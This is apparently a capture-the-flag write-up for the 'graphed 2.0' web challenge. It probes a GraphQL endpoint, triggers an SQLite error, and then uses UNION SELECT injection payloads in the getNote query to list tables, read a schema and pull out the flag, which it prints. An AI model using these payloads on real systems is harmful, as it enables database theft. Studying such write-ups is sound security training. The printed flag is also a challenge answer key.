Tags: sqli graphql 

Rating: 5.0

### Given

```
graphed notes is finally here !!!!!! but it looks like something is still broken with that site
author: pop_eax
```
Link to application:
![Site](https://luftenshjaltar.info/writeups/0x41414141ctf/web/graphed2.0/site.png)

### Analysis

Looking at the source code for the site:
![Source code](https://luftenshjaltar.info/writeups/0x41414141ctf/web/graphed2.0/query.png)

Sending introspection query using `insomnia` to graphql endpoint:

![Introspection](https://luftenshjaltar.info/writeups/0x41414141ctf/web/graphed2.0/intro.png)

Trying to send a sqli to the get note query function give us valuable information:
```js
Request:
query {getNote(q: "test'"){body}}

Response:
{"errors":[{"message":"(sqlite3.OperationalError) unrecognized token: \"'test''\"\n[SQL: SELECT * FROM NOTES where uuid='test'']\n(Background on this error at: http://sqlalche.me/e/13/e3q8)","locations":[{"line":1,"column":8}],"path":["getNote"]}],"data":{"getNote":null}}
```

Now we know that it is using sqlite3 and how the query is structured!

### Exploit

First let's start with getting the tables in the database:
```js
Request:
query {getNote(q: "' UNION SELECT tbl_name, null, null, null FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--"){body}}

Response:
{"errors":[{"message":"Received incompatible instance \"('Notes', None, None, None)\"."},{"message":"Received incompatible instance \"('users', None, None, None)\"."},{"message":"Received incompatible instance \"('\u0627\u0644\u0639\u0644\u0645', None, None, None)\"."}],"data":{"getNote":[null,null,null]}}
```

Cool, so now we know that the database has the tables:
* Notes
* users
* \u0627\u0644\u0639\u0644\u0645

Notes and users seem to correspond to what we saw in the GQL schema. Let's have a look at that final table:

```js
Request:
query {getNote(q: "' UNION SELECT sql, null, null, null FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='\u0627\u0644\u0639\u0644\u0645'--"){body}}

Response:
{"errors":[{"message":"Received incompatible instance \"('CREATE TABLE \u0627\u0644\u0639\u0644\u0645 (id INTEGER PRIMARY KEY, flag TEXT NOT NULL)', None, None, None)\"."}],"data":{"getNote":[null]}}
```

So that table has the column names `id` and `flag`. Lets get them!

```js
Request:
query {getNote(q: "' UNION SELECT id, flag, null, null FROM '\u0627\u0644\u0639\u0644\u0645'--"){body}}

Response:
{"errors":[{"message":"Received incompatible instance \"(0, \"flag{h0p3_u_can't_r3@d_1t9176}\", None, None)\"."}],"data":{"getNote":[null]}}
```

### Flag found! flag{h0p3_u_can't_r3@d_1t9176}

Original writeup (https://luftenshjaltar.info/writeups/0x41414141ctf/web/graphed2.0/).